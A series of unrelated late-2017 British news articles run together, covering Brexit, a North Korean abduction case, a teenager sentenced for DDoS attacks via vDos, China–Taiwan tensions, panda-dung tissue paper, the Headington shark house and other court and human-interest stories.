New EU regulations could be rejected by the government as they arise after the end of a mooted two-year transition period, leaving Britain free to streamline rules and become more competitive globally.

Mrs May told the Commons that the UK will seek to sign trade deals with third countries during the transition period - although they would not come into force until 2021.

She said that even though the UK is leaving the single market and customs union in March 2019 she wants 'access to one another's markets' to continue 'as now' during an implementation period.

The EU's guidelines say that during any transition period the UK would have to comply with the bloc's trade policy - preventing it from striking its own deals with other countries.

But Mrs May said the UK wants to sign agreements which would come into force after the 'strictly time-limited' period has ended.

'We will prepare for our future independent trade policy by negotiating - and where possible signing - trade deals with third countries, which could come into force after the conclusion of the implementation period,' she said.

The Prime Minister said there is a 'shared desire' between the UK and EU for 'rapid progress on an implementation period' before any UK-EU deal comes fully into effect.

The EU's negotiating position makes clear that the bloc expects the UK to observe all of its rules - including on freedom of movement - and accept the jurisdiction of the European Court of Justice (ECJ) during this time.

But Tory backbenchers including Jacob Rees-Mogg are demanding that Mrs May take a stand against the EU's hard line, saying that meekly signing up to it would make Britain 'no more than a vassal state, a colony, a serf of the European Union'.

Brexiteer Michael Gove arrived at the Cabinet meeting today carrying a cup of coffee

Gavin Williamson and Andrea Leadsom were at the meeting to discuss Brexit today
A British woman is pleading to North Korean dictator Kim Jong-un to release her father, who was kidnapped during a plane hijacking 48 years ago.

Cecilia OHare, 48, was just three months old when her father Hwang Won boarded a flight from north-east South Korea to the capital Seoul on December 11, 1969.

But Korean Air Lines YS-11 never made its destination, and the flight hijacked by a Pyongyang agent who forced it to land in North Korea, where 46 passengers and four crewmembers were kidnapped.

Heartbreaking: Cecilia OHare, 48, from Coventry, was just three months old when her father was kidnapped by North Korean agents in December 1969

The hijacking caused outrage all over the world, and some 100,000 people joined in a mass protest in Seoul.

After more than two months of global anger, Kim Il Sung - Kim Jong-uns grandfather and then-dictator of North Korea - released 39 of the prisoners, but kept four crew and seven passengers behind.

Hwang Won, a 32-year-old cameraman and programme director of a South Korean TV-channel, was among those who remained.

Mrs O'Hare, who now lives in Coventry with her husband and two children, and her brother Hwang Il-Cheon have waged a decades-long crusade to find out the truth about what happened to their father.

The siblings have made several public calls for the UK government to help in negotiations and in October 2012, Mr Hwang met high-ranking officials from the British and French governments to discuss the repatriation of abductees.

Missing: This is the last remaining picture of Mrs O'Hare and Mr Hwang with their father before his kidnapping 48 years ago

Left behind: Mrs O'Hare has never known her father, and there has been little to no information about what happened to him after the hijacking

But Pyongyang claim that their father, who would be 79 years old today, has happily defected to North Korea, which is rubbished by the family and supporters who are aiding their case.

Mrs O'Hare, who met her husband while he was working in South Korea, is now pleading to Pyongyang and Kim Jong-Un to release her father in time for Christmas.

I feel like there is this empty hole in my heart. Is that what it means to miss someone? Im not even sure whether it is okay for me to miss my father. I grew up not knowing what it means to miss ones father, says Mrs O'Hare in an interview with South Korean media.

Mrs O'Hare, whose Korean name is Hwang Chan-wook, works as a counsellor for refugees who are struggling to acclimatise to the United Kingdom. She often dreams of her father and feels like shes had been robbed of her childhood.

It would be a miracle if I see him again in real life. If only that can happen. Some say that the Korean War is over because there is an armistice, but if the war is over, there should be peace, and we should be able to see each other freely. Why cant we do that?

Campaign: Mrs O'Hare and Mr Hwang are seen taking part in a protest against the hijacking at the South Korean DMZ border with North Korea, along with Teach North Korean Refugeees (TNKR) co-founder Casey Lartigue, centre, who is helping with their plight

Memories: An infant Mrs O'Hare and a young Mr Hwang sit with two women believed to be their mother and grandmother

The 39 passengers who were returned safely to South Korea 66 days after the hijacking has revealed what took place on the flight in December 1969.

Some ten minutes after takeoff from Gangneung, a city on the north-east coast of South Korea, one of the passengers got up and walked into the cockpit.

The man was a North Korean agent, and he forced the pilots to turn around and fly to North Korea.

Once they landed, soldiers boarded the plane, and blindfolded the terrified travellers and crew.

After mass protests and global outrage, Kim Il-Sung released 39 passengers who later revealed that they had been brainwashed every day for over two months about the communist doctrine.

The one bit of news Mrs O'Hare and her family have been to obtain from the released passengers is that Mr Hwang was twice dragged from his prison cell into the darkness and the second time, he did not return.

North Korea has always claimed that it was the pilots who had flown the aircraft across the border, as a protest against the then-President of South Korea, and that all the passengers and crew who remained there did so voluntarily.

But the 11 people the who were never released were all skilled workers - pilots, two CEOs, government leaders, two TV producers - including Mrs O'Hare's father. All these people would be useful to the State.

Fighting: This is one of Mr Hwang's one-man protests in South Korea demanding action.

Hope: Mrs O'Hare and her brother, pictured right, have not seen their father in nearly 50 years, and have set up a petition addressed to the UN Secretary-General Ban Ki-Moon

Mrs O'Hare's brother Hwang Il-Cheon now 50, says the only information that hes ever had is from a secret source.

'In 2013, I was contacted by someone who told me that my father was alive and trying to come back to South Korea, and was going to get a ship to China, but that was thwarted when Kim Jong-un conducted nuclear tests and blocked all the sea lanes.

'I asked the source: Is he wanting to leave South Korea on his own freewill? And he said: Yes. I went to the South Korean Government and said: You have to do something. They did nothing.

In 2016, I received information that he was living in Kusong City, I couldnt get anymore additional information, so its impossible to cross-check these claims. I even tried to reach out to NK refugees, who said theyd try to get information, but even they couldnt.

I hope hes alive, I dont care if hes just accepted his fate, I truly cant hope for anything more than that. I just want it confirmed what his freewill is. I cant ever give up.

Mrs O'Hare and Mr Hwang have set up a blog site called Bring My Father Home and an online petition, which has nearly 450 signatures and is addressed to the UN Secretary-General Ban Ki-Moon.

In the heartfelt petition, it reads: Mr. Secretary-General, please help us bring my father home using humanitarian procedures and efforts. Dad. I have lived my whole life longing to call out to him. Forty-seven years have passed, yet I now long to call out even louder the word I never had a chance to say. Now, I want to bravely call out his name and to be embraced in his arms. Please, return my father!
Theresa May's ex-chief of staff Nick Timothy called for higher taxes today, insisting the Government needed more money to fuel social mobility

Theresa May's ex-chief of staff Nick Timothy called for higher taxes today, insisting the Government needed more money to fuel social mobility.

Mr Timothy, who resigned after overseeing the disastrous Tory election campaign, said there should be new wealth taxes and higher inheritance tax.

The former aide also said stamp duty should be abolished and replaced with capital gains taxes on house sales to help young first time buyers.

Mr Timothy admitted his proposals would be 'too radical' for the Tory right but said the reforms were essential to revitalising the Conservative brand.

Writing in the Sun, he said: 'The Government should be prepared to redistribute more through the tax system: from the wealthy to working families with modest incomes.

'They should be prepared to increase taxes on accumulated wealth so they can cut taxes on income.

'They could raise more money through inheritance tax.

'They could abolish stamp duty and instead charge capital gains tax on house sales, helping young people on modest incomes.

He added: 'Many Tories would find some of these measures too radical

'But if they really want to make the Conservatives the party of social mobility, and make Britain the world's Great Meritocracy, they will have to overcome their ideological assumptions  and do the right thing for the country.'

Mr Timothy, who resigned as aide to Theresa May after overseeing the disastrous Tory election campaign, said there should be new wealth taxes and higher inheritance tax

Mr Timothy slammed Education Secretary Justine Greening for failing to build on progress made by her predecessor Michael Gove.

He branded her Social Mobility Action Plan, published last week, 'disappointing'.

Mr Timothy said: 'Full of jargon but short on meaningful policies, it would have been better left unpublished.

'There was no attempt to analyse any of the problems I have just listed, nor the trends  like globalisation, changing technology, our ageing society, and the fall-out from the financial crash  that cause many of them.'
Jack Chappell, 19, of Stockport, committed distributed denial of service (DDoS) attacks

A teenage student who carried out a string of international cyber attacks walked free from court today.

Jack Chappell, 19, of Stockport, Greater Manchester, committed distributed denial of service (DDoS) attacks, which involve the deliberate bombarding of a computer network with excessive data to crash or slow down its websites.

He taunted one of his victims, a Government supported educational network, after taking their services offline when he tweeted #GetBetterProtection and 'down again?'

The Manchester College student also targeted that institution's network when he was due to submit an assignment online.

Investigators eventually traced those attacks to Chappell's home computer and went on to discover that he had been acting as administrator for a website which launched many thousands of DDoS attacks against high profile targets internationally.

But Manchester Minshull Crown Street heard he was 'exploited' by the 'criminally sophisticated' owners of the vDos site - based in Israel - and only received a token payment of 1,500 from activities which generated more than 600,000 in income.

Chappell (left) arrives at Minshull Street Crown Court in Manchester with his solicitor Terry Walsh today - before he was sentenced to 16 months' detention, suspended for two years

Chappell had recently been diagnosed as being on the autism spectrum and was 'particularly vulnerable to exploitation'.

His barrister, Stuart Kaufman, even compared him to the character played by Dustin Hoffman in the 1980s hit film Rain Man, who wins a fortune at blackjack by counting cards.

Mr Kaufman said: 'It's not him, but it gives you a little bit of a flavour ... he has been manipulated. He is in many ways just as much a victim. He has been totally exploited and abused. He is not a person who is malicious. He is mischievous.'

Sentencing Chappell to a 16-month detention and training order in a young offender institution - suspended for two years - Judge Maurice Greene told him: 'You played an important role over a long period of time and there is a considerable public interest in the disruption and harm that DDoS attacks cause to businesses and members of the public.

'Clearly it is a very serious offence. But at the time you were 16 or 17 and I have to discount any sentencing because of your age at the time.

'You are of positive good character. It is a tragedy to see somebody of your undoubted talents before the court.

Chappell apologises outside court today 'I'm sincerely sorry for what I chose to do. I'd like to take the chance to contribute to society in a positive way, using my skills and talents for the benefit of others. 'I've reflected a lot on my actions, and I understand that what I was doing was wrong. I accept responsibility for what I did and I deeply regret my actions. 'I'm grateful for my friends and family who've supported me. Additionally I'm very grateful for Walsh Solicitors and all their work. 'I'd like to take this opportunity to apologise to all those affected. I want to make much of my life and make use of my IT skills.' Advertisement

'Looking at your history it is clearly evident when you were young you were socially isolated

'You were undoubtedly taken advantage of by those more criminally sophisticated than yourself.'

The court heard that a psychologist who wrote a report for the court on the defendant said he was one of the most talented people he knew in the field of computing, which was 'some feat' considering he shared an office with climate scientists who report to the United Nations.

Chappell has gained a BTEC in computer programming, was undergoing various treatment and counselling, and was said by the author of his pre-sentence report to be 'making substantial progress'.

He pleaded guilty at earlier hearings to various charges dating from May 2015 to April 2016, including carrying out unauthorised acts with intent to impair the operation of computers, conspiracy to commit the same offence, and money laundering.

Among the organisations targeted in more than 2,000 attacks by Chappell, of Curtis Road, Heaton Moor, were NatWest bank, the National Crime Agency, Vodafone, the BBC, BT, O2 and Amazon.

Other firms targeted were T-Mobile, EE, Sprint, the Massachusetts Institute of Technology, Verizon and the University of California San Diego (UCSD), where an American associate of the vDos operation had requested Chappell take its website down because he too could not meet an assignment deadline, the court heard.

Kevin Barry, prosecuting, said Chappell also launched 21 attacks on nine separate dates against Manchester College and Jisc, which provides computer networks to educational and research establishments across the UK.

Chappell went on to taunt Jisc on Twitter with the username @fractal-warrior as he claimed responsibility for the attacks.

Among the messages he sent were 'offline again?'; 'how come you can't handle my 100GBPS of DNS traffic'; 'Yea I stopped the attacks. Will start again later :)' and '#GetBetterProtection'.

Jisc outlayed 56,500 in staff costs to address the problem and also spent 5 million, with 'future millions' to be spent, to mitigate future attacks, the prosecutor said.

An investigation was launched and it became apparent that someone was using a website to check the effectiveness of the attacks at the same time as launching them.

Those checks were traced to an IP address of a computer at the defendant's home and led to the uncovering of his vDos activities, the court was told.

Mr Barry said: 'The defendant was an administrator of this site which launched many thousands of DDoS attacks against high-profile targets internationally.

'vDos was one of the biggest, most widely used and damaging services of its kind. He worked closely with the owners of this site, assisted with the illicit services delivered to its customers and helped monitor and improve the payment facility used by them.

'It is submitted that these were carefully planned attacks which did and were intended to cause harm to the organisations targeted. It must also have been obvious to the defendant that the attacks would also cause widespread harm to the many users of the networks targeted.

'He operated, in essence, a help desk whereby customers of vDos could request assistance in maximising the power of attacks they were looking to launch.'

Two Israeli nationals, Yarden Bidani and Itay Huri, were running vDos from Israel and are the subject of law enforcement in that country, said Mr Barry.

He said Chappell had never met the pair and they only interacted digitally.

In a victim impact statement, telecoms firm O2 said the two attacks it suffered had caused 'significant reputational and financial loss'.

Mr Barry said the reasons for DDoS attacks were 'many and varied' and range from those launched by anyone willing to pay as little as 25 US dollars online to those using it for 'more sophisticated purposes' in distracting IT teams and leaving other areas within a company less well protected.

Mr Kaufman, defending, said nine 'glowing' testimonials had been sent to the judge and a letter from Chappell which apologised to all those affected and expressed his 'deep regret'.

As part of his sentencing, Chappell will have to complete 20 days of an unspecified rehabilitation requirement.

In a statement read outside court by his solicitor Terry Walsh, Chappell said: 'I'm sincerely sorry for what I chose to do. I'd like to take the chance to contribute to society in a positive way, using my skills and talents for the benefit of others.

'I've reflected a lot on my actions, and I understand that what I was doing was wrong. I accept responsibility for what I did and I deeply regret my actions.

'I'm grateful for my friends and family who've supported me. Additionally I'm very grateful for Walsh Solicitors and all their work.

'I'd like to take this opportunity to apologise to all those affected. I want to make much of my life and make use of my IT skills.'
China has been accused of stepping up its preparations for a war with Taiwan after jets were spotted circling above the island.

An expert has warned Beijing could be plotting an invasion in order to take over the island just east of the mainland by force.

Last week the Chinese jets - PLA Yun-8 planes - carried out what was described as 'island encirclement patrols' around Taiwan and state media showed pictures of bombers armed with cruise missiles.

Although imposing, it appears the stunt could have been to gather intelligence in preparation for a takeover.

Chinese troops march during a military parade marking the 70th Anniversary of the 'Victory of Chinese People's Resistance against Japanese Aggression and World Anti-Fascist War' at Tiananmen Square in Beijing. China has been accused of stepping up its preparations for a war with Taiwan after jets were spotted circling above the island

An expert has warned Beijing could be plotting an invasion in order to take over the island just east of the mainland by force

Military observer Antony Wong Dong, based in Macau, told the Daily Express: 'The recent "island encirclement" patrols are very unusual.

'The air force is conducting very practical and well-planned patrols near Taiwan to collect up-to-date military intelligence.'

He said that previously such patrols were frequent and carried out as an act of symbolism, but he believes last Monday's aerial manoeuvre was much more sinister.

'Now, the mainland is deploying old and new generations of surveillance planes, fighter jets and other aircraft  indicating the PLA is stepping up its preparations for war against Taiwan,' Dong added.

China and Taiwan split after a civil war in 1949, and while Taiwan sees itself as a sovereign nation, it has never formally declared independence.

Beijing says Taiwan is a part of Chinese territory and will be brought back into the fold at some point.

Chinese soldiers demonstrate their skill with bayonets during a military parade in Beijing. Last week the Chinese jets - PLA Yun-8 planes - carried out what was described as 'island encirclement patrols' around Taiwan and state media showed pictures of bombers armed with cruise missiles

At least one Chinese Air Force Yun-8 transport plane conducted a long-haul flight near Taiwan on Sunday, the island's Defence Ministry said, amid simmering tensions between the two rivals.

Taiwan dispatched its aircraft and ships to 'monitor and deal with' the Yun8, which returned to its base after flying through the Bashi Channel and Miyako waterway, Defense Minister Feng Shih-kuan said.

It was unclear whether one plane or more made the flight.

There was no untoward incident and the public should not be alarmed, Feng said, but did not give further details.

China has considered Taiwan to be a wayward province since Chiang Kai-shek's Nationalist troops fled to the island in 1949 after losing the Chinese civil war to Mao Zedong's Communist forces on the mainland.

Beijing suspects Taiwan President Tsai Ing-wen of the independence-leaning Democratic Progressive Party wants to declare the island's formal independence.

Tsai says she wants to maintain peace with China but will defend the island's security.

China has never renounced the use of force to bring the self-ruled democratic island under its control.

China has conducted numerous similar patrols near Taiwan this year, saying such practices have been normalised as it presses ahead with a military modernisation programme that includes building aircraft carriers and stealth fighters to give it the ability to project power far from its shores.

In September, the US Congress passed the National Defense Authorization Act for the 2018 fiscal year, which authorises mutual visits by navy vessels between Taiwan and the United States.

That prompted a senior Chinese diplomat to say this month China would invade the island if any US warships made port visits there.

Beijing suspects Taiwan President Tsai Ing-wen (pictured) of the independence-leaning Democratic Progressive Party wants to declare the island's formal independence

China said on Thursday it lodged an official protest with the United States after President Donald Trump signed a defence budget that opens the possibility for US warships to visit self-ruled Taiwan.

Foreign ministry spokesman Lu Kang charged that the legislation, while non-binding, violates the one-China policy and 'constitutes an interference in China's domestic affairs'.

'We firmly oppose any form of official exchanges or military links between Taiwan and the US, as well as US arms sales to Taiwan,' Lu told a regular news briefing.

'We hope that the US can fully grasp the damaging nature of the legislation's Taiwan clause,' he said.

Trump on Tuesday signed the budget, which includes a clause saying the United States should 'consider the advisability and feasibility of reestablishing port of call exchanges between the United States navy and the Taiwan navy'.

China and Taiwan split after a civil war in 1949, and while Taiwan (pictured) sees itself as a sovereign nation, it has never formally declared independence

At the beginning of the month, Chinese media reported a diplomat from the Chinese embassy in the United States had warned that Beijing would take Taiwan back by force the day that a US warship enters a Taiwanese port.

The island has been a thorny issue in China-US relations, as Trump began his transition into office by taking a precedent-breaking phone call from Taiwanese president Tsai Ing-wen.

Trump mended ties by vowing to uphold the one-China policy shortly before Chinese President Xi Jinping's visit to his Florida Mar-a-Lago resort, but infuriated Beijing again this summer by approving a $1.3billion arms sale to Taiwan.
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The adorable black-and-white bear, a symbol of China, is starting a toilet paper revolution.

A new type of luxury tissue made with panda droppings has been launched in China.

Consumers can buy the unusual product, simply named 'Panda Poo', for 43 yuan (4.8) a box. It's about 10 times the price of ordinary tissue paper in China.

Revo-loo-tionary: China's giant panda centre has teamed up with a paper manufacturer to produce tissues from panda dung

PANDA-monium: The unusual tissue paper, simply named 'Panda Poo', is made with panda droppings and bamboo leaves

One panda can produce around 10 kilograms (22 pounds) of excrement daily. Pictured, male Giant Panda Yang Guang eats bamboo in his enclosure at the Bifengxia Panda Centre near the city of Ya'an in Sichuan Province, China, on March 4, 2011

The tissue paper is produced with panda dung as well as waste bamboo leaves, according to Chengdu Business Daily.

The faeces come from pandas living in three bases of China Conservation and Research Centre for the Giant Panda - in Dujiangyan, Wolong and Bifengxia of Sichuan Province.

The panda droppings would be selected, steamed and sterilised by workers who would then take natural fibre out of them to make the paper.

The extraordinary tissue paper is a joint product between China Conservation and Research Centre for the Giant Panda and Sichuan Jianwei Fengsheng Paper, a Sichuan-based firm that produces 60,000 tonnes of tissue paper a year.

'Green ball': The picture taken in December 2012 shows a Chinese worker smelling panda faeces used as fertiliser to grow tea

Would you use it? Chinese consumers can now buy toilet rolls, box tissues and pocket tissues made with panda excrement

Panda droppings are commonly known as 'green balls' among panda keepers.

Huang Yan, a supervisor at the China Conservation and Research Centre for the Giant Panda, told Chengdu Business Daily that an adult panda could eat 12 to 15 kilograms (26 to 33 pounds) of bamboo a day, which will in turn become 10 kilograms (22 pounds) of 'green balls'.

Because pandas are actually poorly adapted for digesting bamboo, their droppings mainly consist of broken bamboo leaves.

In addition, as pandas won't eat all the bamboo leaves provided to them, each panda in the centre would generate some 50 kilograms of waste bamboo leaves every day, said Huang Yan.

Both the panda dung and waste bamboo are now used to make tissue paper.

Luxury paper: The 'Panda Poo' paper is rather luxurious. A box of it costs 43 yuan (4.8), 10 times the price of normal tissue

Environmental friendly: Workers extract fibre from panda droppings and waste bamboo leaves to make the luxury tissue

Apparently, pandas only absorb the sugar in bamboo and excrete the plant's fibre, it saves the workers' effort to abstract fibre from bamboo for making paper, according to Yang Chaolin, the chairman of Sichuan Jianwei Fengsheng Paper.

'Pandas get what they want and we do too. It's a win-win,' said Yang.

The company collects droppings and waste bamboo from the panda centre once every three to seven days.

It uses them to make toilet rolls, box tissues and pocket tissues.
Great British Bake Off judge Prue Leith was 'too busy for cooking' before she became the hit Channel 4 show's newest culinary expert, according to her ex-lover.

Against all the odds, Leith, 77, captured the hearts of the nation as Mary Berry's replacement on the show this season, before angering viewers at the final hurdle by accidentally revealing the winner hours ahead of schedule.

But according to her ex-partner Sir Ernest Hall, she didn't have the time to spend experimenting in the kitchen while they were together.

Speaking for the first time since the ins and outs of their relationship were revealed in her autobiography, Relish: My Life On A Plate, Sir Ernest, 87, said he wasn't taken with her new TV programme.

Speaking for the first time since the ins and outs of Sir Ernest Hall and Prue Leith's (pictured) relationship were revealed in her autobiography, Relish: My Life On A Plate, Sir Ernest, 87, says she never had much time to be spent cooking at home

Prue Leith replaced Mary Berry (pictured) when Bake Off moved from the BBC to Channel 4 in a multi million pound takeover

He told The Daily Telegraph: 'Prue was too busy to spend a lot of time cooking.

'She would come back and say: "I will make a meal out of what's in the fridge."

As for Bake Off, he claims to have only watched it once, saying he 'wasn't impressed' and it wasn't 'his type of programme'.

The couple's relationship began in 2006, four years after the death of Leith's first husband, South African author Rayne Kruger.

They were together for four years, but had been business colleagues for 20 years beforehand.

Professional pianist Sir Ernest said they were 'like a couple of teenagers' when they first fell for each other, but their difference in character eventually meant things turned sour.

Leith's memoir described the difficulties of their relationship and even told readers how Sir Ernest, who was knighted in 1998, had bi-polar disorder.

Leith (pictured), 77, began her four year relationship with Sir Ernest in 2006, four years after the death of her first husband, South African author Rayne Kruger

He told the newspaper he read the autobiography when it was released in 2012 but 'couldn't remember what the hell it was about'.

He said her view of him was not something he gave much importance, but maintains he is still friends with the Bake Off judge and is 'very fond of her'.

The retired businessman also confessed he thinks her new husband, former clothes designer John Playfair, is far more suited to her.

Now the father-of-five and grandfather-of-11 lives in Lanzarote and is in relationship with a Colombian woman 45 years his junior - Gloria Patricia Ante Tapias.

He says Leith has visited him there and he is 'full of admiration' for her and her work.

Despite their rumoured rivalry, Leith and her predecessor Mary Berry, 82, put everything aside and got together for Christmas dinner - wearing matching aprons.

The pair posted a picture of them both in matching aprons on social media this week

While Leith's read 'What would Mary do?', Berry's was identical with 'What would Prue do?'.

The newest Bake Off recruit replaced Berry earlier this year to judge the competition with Paul Hollywood when the show moved to Channel 4 from the BBC in a 75 million take-over.

Mary- along with hosts Mel Giedroyc and Sue Perkins - left out of loyalty to the BBC, while Hollywood, who is going through a divorce with his wife of 20 years Alexandra, stayed at the programme thanks to a 1.2 million pay deal.

He was joined by Prue, who reportedly received 200,000 for the series, while the presenters were replaced by comedians Noel Fielding and Sandi Toksvig.
A confronting photo of nature at its finest has surfaced online, leaving the internet in a frenzy.

A Reddit user shared the picture of a fierce looking black spider feasting on a bee, asking what type of spider is it.

The photo was shared on Tuesday, showing a huge cobweb full of insects while the big black spider appeared to spin a web around the defeated bee.

A Reddit user shared the photo of a fierce looking black spider feasting on a bee (pictured)

Many people took to the website to share opinions on what type of spider they thought it was

Many people took to the popular website to share their opinions on what type of spider they thought it was, with many suggesting it was a black house spider.

'Even though they're harmless and want nothing to do with you, they look bad-a**,' one user posted.

'They're not medically significant but they do have a particularly painful bite,' another wrote.

'This makes me wanna die,' one person wrote.

'A big f****** black one,' one user shared.

'This makes me wanna die,' one person wrote on the popular website on Tuesday (pictured)
A Sydney man has been charged with foreign incursion offences after allegedly travelling to a Middle Eastern war zone to take up arms.

The 25-year-old, understood to be the first Australian-based person to be charged with the foreign fighter offence, was arrested on Tuesday morning in Mount Lewis in Sydney's southwest.

The man allegedly travelled to the Syrian conflict zone in March, 2015, and returned in October that year.

A 25-year-old Sydney man will face court, charged with foreign incursion offences after allegedly travelling to a Middle Eastern war zone to take up arms

The man allegedly travelled to the Syrian conflict zone in March, 2015, and returned in October that year

Police say the man had been subject to ongoing investigations since he returned from Syria.

A spokesperson for the Australian Federal Police told Daily Mail Australia the man was travelling to a declared ISIS region, but could not confirm whether he was there to fight.

Members of the NSW Joint Counter Terrorism Team, which includes the Australian Security Intelligence Organisation, state and federal police, were involved in the operation.

Police say the man had been subject to ongoing investigations since he returned from Syria (stock image)

The man has been charged with incursion into foreign countries with the intention of engaging hostile activities, which carries the maximum penalty of life imprisonment, according to police.

He has also been charged with entering and remaining in a 'declared area,' an offence which carries a maximum of 10 years in prison.

The man is due to appear before Bankstown Local Court on Wednesday.
A house with a 25ft Great White shark sticking out of its roof could be made a national treasure by the same council which wanted it torn down.

Broadcaster and local journalist Bill Heine had the enormous beast built into the roof of his terraced home on New High Street in Headington, Oxford, in August 1986.

The fibreglass figure became the area's most unusual tourist attraction.

Broadcaster and local journalist Bill Heine had the enormous beast built into the roof of his terraced home on New High Street in Headington, Oxford, in August 1986

But city councillors loathed it and refused retrospective planning permission four years after it was erected.

Not one to give in without a fight, Bill appealed to then secretary of state for the environment Michael Heseltine who supported plea to keep the shark.

Now - in an unexpected U-turn - Oxford City Council wants to make it an officially listed building so tourists can continue to pose for selfies with it in years to come.

Created by sculptor John Buckley to protest America's bombing of Libya, the Headington shark is listed among the top 50 things to do in Oxford on TripAdvisor

City councillors refused retrospective planning permission four years after the enormous fibreglass figure was erected

Created by sculptor John Buckley to protest America's bombing of Libya, the Headington shark is listed among the top 50 things to do in Oxford on TripAdvisor.

The application for it to be listed on the Oxford Heritage Asset Register will now go to the city council.

Council heritage officers are expected to give their approval in the summer.

But in an unexpected U-turn they now want to make it an officially listed building

The application for it to be listed on the Oxford Heritage Asset Register will now go to the city council - if approved, a bid will be made to have the shark nationally listed with English Heritage

Mr Heine, 72, who now lives in Waterstock, has welcomed the campaign to get his old shark house listed

How the Great White made waves in Oxford August 1986 - Great white shark erected in New High Street, Headington 1990 - Oxford city councillors refused retrospective planning permission 1992 - Secretary of state for the environment Michael Heseltine gets behind calls to keep the shark 2017 - Calls began for the it to be officially listed with Oxford Heritage Asset Register and English Heritage Advertisement

If given the go-ahead, a bid would then be made to have the shark nationally listed with English Heritage.

It is hoped that future generations of tourists will be able to enjoy the iconic home in years to come if it is given protection through the planning system.

Mike Ratcliffe, Chairman of Headington Neighbourhood Forum, told The Sun the shark 'continues to intrude, to surprise and to fascinate'.

Mr Heine, 72, who now lives in Waterstock, has welcomed the campaign to get the shark house listed.
David Lidington said he was looking at using the system to allow convicts to leave their prisons for much of the day as they neared the end of their sentence

Prisoners will be allowed to 'commute' to work from jail under an early release scheme being considered by the Justice Secretary.

David Lidington said he was looking at using the system to allow convicts to leave their prisons for much of the day as they neared the end of their sentence.

The scheme would be part of efforts to try to get more convicts back into work and help them reintegrate with society on their release.

In a speech on prison reform in London yesterday, Mr Lidington said: 'This is something that prison officers themselves have said they would like to see, particularly if it can be used to allow a prisoner towards the end of their sentence to commute to work from the prison as part of reintegration into society.'

He added: 'I certainly want to see numbers come down from their current record levels.'

He said that 83 per cent of former prisoners still had no job a year after their release and 30 per cent did not have a suitable home on their first night of release.

The number of prisoners released on temporary licence has fallen dramatically in recent years after a number of convicts carried out more crimes while they were allowed out.

In 2013, the number of releases on temporary licence hit 529,000, but that fell to just over 333,000 - the lowest since 2003.

The number of temporary release failures - which covers prisoners absconding , commuting more crimes and coming back to prison late - hit 162 in 2015, according to Ministry of Justice figures.

The scheme would be part of efforts to try to get more convicts back into work and help them reintegrate with society on their release (file pic of HMP Wymott)

The proposed scheme is part of a wider shake-up of prisons designed to give governors more power to try rehabilitate.

Meanwhile, another proposed scheme would allow some offenders to 'defer' prosecution under plans being considered by the Government.

Under the proposed scheme, outlined in the Lammy review earlier this year, criminals who carry out low level crime would be able to avoid entering a plea.

Instead they would agree to receive targeted rehabilitation such as drug or alcohol treatment.

Individuals who successfully completed the programme would see the prosecution dropped, while those who failed to comply would face criminal proceedings.

The talks form part of the response to an inquiry by Labour MP David Lammy into the treatment of, and outcomes for, black, Asian and minority ethnic (BAME) people in the criminal justice system.
A fishery could face legal action after putting up a sign to ban Eastern European fishermen from the site.

Field Farm fisheries, near Bicester in Oxfordshire, put up a sign saying 'No Polish or Eastern Bloc fishermen allowed'.

Angler and Polish national Rado Papiewski, 35, from Doncaster, was alerted about about the notice earlier this year and he has begun crowdfunding to launch a discrimination case, after the site ignored letter from the Equality and Human Rights Commission (EHRC).

In full the sign reads: 'No vehicle access. No Polish or eastern bloc fishermen allowed. No children or dogs'

Angler and Polish national Rado Papiewski, 35, from Doncaster, was alerted about about the notice earlier this year and he has begun crowdfunding to launch a discrimination case, after the site ignored letter from the Equality and Human Rights Commission (EHRC)

In full the sign reads: 'No vehicle access. No Polish or eastern bloc fishermen allowed. No children or dogs.'

Mr Papiewski told The Guardian: 'When I first saw it I thought of my 10-year-old son who loves angling.

'How could I say to him you can't fish here because your dad was born in Poland?'

'This disturbing sign should have never been displayed as it clearly discriminates against people from Poland and other eastern European countries.'

Mr Papiewski runs a project which aims to integrate European and British fishing communities, called Building Bridges.

His solicitor Alex Peebles, said Mr Papiewski's account suggested the Equality Act 2010 had been breached.

Mr Papiewski runs a project which aims to integrate European and British fishing communities, called Building Bridges

An EHRC spokesperson said: 'This type of sign should be a thing of the past. Banning people from services based on their race or nationality is discrimination and unlawful.

'It's right to challenge such out of date practices and any business that believes this is acceptable should think again before they find themselves facing legal action.'

MailOnline has contacted Field Farm fisheries for comment.
Alin Marin, 22, had secreted 53 phones inside a full-length swimsuit he was wearing

A pickpocket who stole more than 50 phones from concertgoers in one night was found to have concealed them inside a full-length swimsuit.

Alin Marin, 22, turned himself into a 'human deposit box' for phones swiped while jostling with revellers in the mosh pit during a Royal Blood concert.

But police were also mingling with the crowd at Arena Birmingham in a covert operation prompted by intelligence that thieves had targeted fans of the band at performances earlier this year.

Romanian national Marin, of no fixed address, had secreted 53 phones inside a compression suit he was wearing beneath his clothing on November 18.

He was arrested in Broad Street shortly after leaving the gig  and the phones recovered from a nearby car park.

Marin was charged with theft and was jailed for three years at Birmingham Crown Court yesterday after admitting the offence.

Birmingham city centre Police Sergeant Julia Slater from West Midlands Police said: 'This was organised pickpocketing.

'Marin went equipped to steal phones and took advantage of revellers enjoying themselves in the standing area.

'Many of the phones were taken from front jeans pockets, which people believe is a safer place to carry valuables, but due to the jostling in the mosh pit they simply didn't realise they'd been targeted.

The phones taken by Marin were recovered from a nearby car park following the gig

Marin swiped phones while jostling with revellers during a Royal Blood concert (file picture)

Marin was charged with theft and was jailed for three years after admitting the offence

'He slipped phones inside the swimsuit and effectively turned himself into a deposit box for the phones, allowing him to carry tens of phones concealed around his body.'

Sergeant Slater urged other gig-goers to be vigilant when attending busy venues.

'It's an unfortunate reality that large crowds at concerts can make rich pickings for career criminals,' she added.

'We're on to these offenders but you can also reduce your chances of falling victim to such crimes by remaining extra vigilant; look out for suspicious behaviour and only take the valuables with you that you really need.'

The force urged people to record details of their phones and other valuables on the Immobilise national property register.
An Muslim radio station has been attacked by broadcast watchdogs after it gave 'potentially harmful and offensive advice' to people with diabetes.

Radio Dawn, which is a community radio station based in Nottingham, was criticised over a segment where an Islamic scholar called 'The Mufti' advised listeners to ignore the advice of non-Muslim doctors when it comes to fasting over Ramadan.

A caller to the show asked whether it was permissible for a Muslim suffering from Type I diabetes to complete their Ramadan fast over the winter when there is less daylight.

Radio Dawn from Nottingham has been criticised by Ofcom over a show which questioned whether Muslim diabetics should take advice on fasting from a non-Muslim doctor

A member of the public contacted Ofcom over the show which was found to breach codes

A member of the the public made a complaint to broadcasting watchdog Ofcom who launched an investigation which found the show was in breach of its codes.

